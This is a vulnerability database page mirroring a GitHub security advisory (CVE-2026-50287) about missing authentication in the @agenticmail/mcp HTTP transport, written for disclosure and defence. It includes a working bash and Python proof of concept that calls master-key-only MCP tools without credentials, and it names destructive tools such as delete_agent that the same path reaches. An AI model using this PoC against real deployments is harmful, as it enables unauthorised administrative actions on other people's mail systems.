GHSA-63GR-G7JC-V8RG

Vulnerability from github – Published: 2026-06-01 13:58 – Updated: 2026-06-12 22:01
VLAI
Summary
@agenticmail/mcp Missing Authentication for Critical Function
Details

AgenticMail MCP HTTP authorization bypass

Summary

@agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly.

The problem is that the MCP server also exposes tools documented as requiring AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.

Confirmed with a read-only tool:

  • setup_guide

The same path reaches higher-impact tools such as:

  • setup_email_relay
  • setup_email_domain
  • delete_agent
  • cleanup_agents
  • send_test_email

Affected Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md

Relevant observations:

  • packages/mcp/src/index.ts starts an HTTP server for /mcp without checking an Authorization header.
  • packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools and forwards them with the server-side AGENTICMAIL_MASTER_KEY.
  • packages/mcp/README.md documents that gateway/admin tools require the master key.

Reproduction

Use the bundled one-command PoC runner:

cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh

Expected success output:

[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`

PoC Files

Inline PoC

The following PoC is non-destructive. It calls setup_guide, which is documented as a master-key tool but only returns setup guidance.

scripts/run_agenticmail_mcp_http_unauth_poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"

API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"

mkdir -p "$DATA_DIR" "$LOG_DIR"

node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
  echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
  exit 2
fi

find_free_port() {
  python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(("127.0.0.1", 0))
    print(sock.getsockname()[1])
PY
}

[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"

api_pid=""
mcp_pid=""
cleanup() {
  set +e
  [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
  [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT

wait_tcp() {
  local host="$1"
  local port="$2"
  local name="$3"
  for _ in $(seq 1 60); do
    if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sys.exit(0)
except Exception:
    sys.exit(1)
finally:
    sock.close()
PY
    then
      echo "[+] $name is listening: $host:$port"
      return 0
    fi
    sleep 1
  done
  echo "[-] Timed out waiting for $name: $host:$port" >&2
  return 1
}

cd "$REPO_DIR"

echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
  export AGENTICMAIL_API_HOST="$API_HOST"
  export AGENTICMAIL_API_PORT="$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
  export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"

scripts/agenticmail_mcp_http_unauth_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
    data = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return exc.code, dict(exc.headers), body


def parse_sse_or_json(body: str) -> list[dict]:
    events: list[dict] = []
    stripped = body.strip()
    if not stripped:
        return events
    if stripped.startswith("{") or stripped.startswith("["):
        parsed = json.loads(stripped)
        return parsed if isinstance(parsed, list) else [parsed]
    for line in body.splitlines():
        if not line.startswith("data:"):
            continue
        data = line[len("data:") :].strip()
        if not data:
            continue
        try:
            events.append(json.loads(data))
        except json.JSONDecodeError:
            pass
    return events


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
    parser.add_argument("--tool", default="setup_guide")
    args = parser.parse_args()

    init_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-03-26",
            "capabilities": {},
            "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
        },
    }

    status, headers, body = post_json(args.url, init_payload)
    print(f"[+] initialize HTTP status: {status}")
    print(f"[+] initialize response body: {body[:500]}")
    session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
    if not session_id:
        print("[-] No mcp-session-id header returned")
        return 2
    print(f"[+] received mcp-session-id without authentication: {session_id}")

    post_json(args.url, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {},
    }, session_id=session_id)

    status, _headers, body = post_json(args.url, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {"name": args.tool, "arguments": {}},
    }, session_id=session_id)
    print(f"[+] tools/call({args.tool}) HTTP status: {status}")
    print("[+] raw response:")
    print(body)

    if any("result" in msg for msg in parse_sse_or_json(body)):
        print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
        return 0

    print("[-] Tool call did not return a result")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Why This Is a Vulnerability

The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality.

Suggested Fix

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@agenticmail/mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T13:58:33Z",
    "nvd_published_at": "2026-06-12T20:16:46Z",
    "severity": "HIGH"
  },
  "details": "# AgenticMail MCP HTTP authorization bypass\n\n## Summary\n\n`@agenticmail/mcp` exposes a Streamable HTTP transport when started with\n`--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests\nwithout any HTTP authentication layer. A remote client can initialize a\nsession and call tools directly.\n\nThe problem is that the MCP server also exposes tools documented as requiring\n`AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its\nown configured master key. As a result, any client that can reach the MCP HTTP\nport can invoke master-only operations without knowing the master key.\n\n## Impact\n\nAn unauthenticated network client can invoke master-key-only MCP tools through\nthe server, including administrative and gateway actions.\n\nConfirmed with a read-only tool:\n\n- `setup_guide`\n\nThe same path reaches higher-impact tools such as:\n\n- `setup_email_relay`\n- `setup_email_domain`\n- `delete_agent`\n- `cleanup_agents`\n- `send_test_email`\n\n## Affected Code\n\n- `packages/mcp/src/index.ts`\n- `packages/mcp/src/tools.ts`\n- `packages/mcp/README.md`\n\nRelevant observations:\n\n- `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without\n  checking an Authorization header.\n- `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools\n  and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`.\n- `packages/mcp/README.md` documents that gateway/admin tools require the\n  master key.\n\n## Reproduction\n\nUse the bundled one-command PoC runner:\n\n```bash\ncd agenticmail\n./scripts/run_agenticmail_mcp_http_unauth_poc.sh\n```\n\nExpected success output:\n\n```text\n[+] received mcp-session-id without authentication: ...\n[+] tools/call(setup_guide) HTTP status: 200\n[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`\n```\n\n## PoC Files\n\n- [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh)\n  - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the\n    client PoC, and cleans up background processes.\n- [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py)\n  - Unauthenticated MCP client that sends `initialize` and then calls\n    `setup_guide`.\n\n## Inline PoC\n\nThe following PoC is non-destructive. It calls `setup_guide`, which is\ndocumented as a master-key tool but only returns setup guidance.\n\n### `scripts/run_agenticmail_mcp_http_unauth_poc.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO_DIR=\".\"\nPOC=\"scripts/agenticmail_mcp_http_unauth_poc.py\"\n\nAPI_HOST=\"${API_HOST:-127.0.0.1}\"\nAPI_PORT=\"${API_PORT:-}\"\nMCP_PORT=\"${MCP_PORT:-}\"\nMASTER_KEY=\"${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}\"\nDATA_DIR=\"${AGENTICMAIL_DATA_DIR:-.poc-data}\"\nLOG_DIR=\"${LOG_DIR:-.poc-logs}\"\n\nmkdir -p \"$DATA_DIR\" \"$LOG_DIR\"\n\nnode_major=\"$(node -p \u0027Number(process.versions.node.split(\".\")[0])\u0027 2\u003e/dev/null || echo 0)\"\nif (( node_major \u003c 20 )); then\n  echo \"[-] Node.js 20+ is required; current node is: $(node -v 2\u003e/dev/null || echo missing)\" \u003e\u00262\n  exit 2\nfi\n\nfind_free_port() {\n  python3 - \u003c\u003c\u0027PY\u0027\nimport socket\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n    sock.bind((\"127.0.0.1\", 0))\n    print(sock.getsockname()[1])\nPY\n}\n\n[[ -n \"$API_PORT\" ]] || API_PORT=\"$(find_free_port)\"\n[[ -n \"$MCP_PORT\" ]] || MCP_PORT=\"$(find_free_port)\"\n\napi_pid=\"\"\nmcp_pid=\"\"\ncleanup() {\n  set +e\n  [[ -z \"${mcp_pid:-}\" ]] || kill \"$mcp_pid\" 2\u003e/dev/null || true\n  [[ -z \"${api_pid:-}\" ]] || kill \"$api_pid\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\nwait_tcp() {\n  local host=\"$1\"\n  local port=\"$2\"\n  local name=\"$3\"\n  for _ in $(seq 1 60); do\n    if python3 - \"$host\" \"$port\" \u003e/dev/null 2\u003e\u00261 \u003c\u003c\u0027PY\u0027\nimport socket\nimport sys\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(1)\ntry:\n    sock.connect((sys.argv[1], int(sys.argv[2])))\n    sys.exit(0)\nexcept Exception:\n    sys.exit(1)\nfinally:\n    sock.close()\nPY\n    then\n      echo \"[+] $name is listening: $host:$port\"\n      return 0\n    fi\n    sleep 1\n  done\n  echo \"[-] Timed out waiting for $name: $host:$port\" \u003e\u00262\n  return 1\n}\n\ncd \"$REPO_DIR\"\n\necho \"[+] Starting AgenticMail API on $API_HOST:$API_PORT\"\n(\n  export AGENTICMAIL_API_HOST=\"$API_HOST\"\n  export AGENTICMAIL_API_PORT=\"$API_PORT\"\n  export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n  export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n  npm run dev:api\n) \u003e\"$LOG_DIR/api.log\" 2\u003e\u00261 \u0026\napi_pid=\"$!\"\nwait_tcp \"$API_HOST\" \"$API_PORT\" \"AgenticMail API\"\n\necho \"[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT\"\n(\n  export AGENTICMAIL_API_URL=\"http://$API_HOST:$API_PORT\"\n  export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n  export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n  npm --workspace=@agenticmail/mcp run dev -- --http \"--port=$MCP_PORT\"\n) \u003e\"$LOG_DIR/mcp.log\" 2\u003e\u00261 \u0026\nmcp_pid=\"$!\"\nwait_tcp \"127.0.0.1\" \"$MCP_PORT\" \"AgenticMail MCP HTTP server\"\n\necho \"[+] Running unauthenticated MCP client PoC\"\npython3 \"$POC\" --url \"http://127.0.0.1:$MCP_PORT/mcp\"\n```\n\n### `scripts/agenticmail_mcp_http_unauth_poc.py`\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport sys\nimport urllib.error\nimport urllib.request\n\n\ndef post_json(url: str, payload: dict, session_id: str | None = None) -\u003e tuple[int, dict, str]:\n    data = json.dumps(payload).encode(\"utf-8\")\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(req, timeout=15) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            return resp.status, dict(resp.headers), body\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(\"utf-8\", errors=\"replace\")\n        return exc.code, dict(exc.headers), body\n\n\ndef parse_sse_or_json(body: str) -\u003e list[dict]:\n    events: list[dict] = []\n    stripped = body.strip()\n    if not stripped:\n        return events\n    if stripped.startswith(\"{\") or stripped.startswith(\"[\"):\n        parsed = json.loads(stripped)\n        return parsed if isinstance(parsed, list) else [parsed]\n    for line in body.splitlines():\n        if not line.startswith(\"data:\"):\n            continue\n        data = line[len(\"data:\") :].strip()\n        if not data:\n            continue\n        try:\n            events.append(json.loads(data))\n        except json.JSONDecodeError:\n            pass\n    return events\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--url\", default=\"http://127.0.0.1:8014/mcp\")\n    parser.add_argument(\"--tool\", default=\"setup_guide\")\n    args = parser.parse_args()\n\n    init_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2025-03-26\",\n            \"capabilities\": {},\n            \"clientInfo\": {\"name\": \"agenticmail-unauth-poc\", \"version\": \"0.1\"},\n        },\n    }\n\n    status, headers, body = post_json(args.url, init_payload)\n    print(f\"[+] initialize HTTP status: {status}\")\n    print(f\"[+] initialize response body: {body[:500]}\")\n    session_id = headers.get(\"mcp-session-id\") or headers.get(\"Mcp-Session-Id\")\n    if not session_id:\n        print(\"[-] No mcp-session-id header returned\")\n        return 2\n    print(f\"[+] received mcp-session-id without authentication: {session_id}\")\n\n    post_json(args.url, {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {},\n    }, session_id=session_id)\n\n    status, _headers, body = post_json(args.url, {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\"name\": args.tool, \"arguments\": {}},\n    }, session_id=session_id)\n    print(f\"[+] tools/call({args.tool}) HTTP status: {status}\")\n    print(\"[+] raw response:\")\n    print(body)\n\n    if any(\"result\" in msg for msg in parse_sse_or_json(body)):\n        print(f\"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`\")\n        return 0\n\n    print(\"[-] Tool call did not return a result\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Why This Is a Vulnerability\n\nThe project treats `AGENTICMAIL_MASTER_KEY` as the authorization boundary for\nadministrative and gateway operations. HTTP MCP mode removes the client-side\nauthentication boundary entirely, so an unauthenticated network client becomes\nan indirect caller of master-only API functionality.\n\n\n## Suggested Fix\n\n- Require authentication for HTTP MCP mode.\n- Bind the MCP HTTP server to `127.0.0.1` by default.\n- Reject `/mcp` requests that lack a valid bearer token or shared secret.\n- Disable master-key tools when the transport is unauthenticated.",
  "id": "GHSA-63gr-g7jc-v8rg",
  "modified": "2026-06-12T22:01:50Z",
  "published": "2026-06-01T13:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/commit/7b9b05d973676e9f3d097c08b8e649f59bfc15d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/commit/7d1791da7c8c8bd4e70d7081db48e18ab55f6736"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agenticmail/agenticmail"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/CHANGELOG.md?plain=1#L10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/README.md?plain=1#L13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/src/index.ts#L311"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@agenticmail/mcp Missing Authentication for Critical Function"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…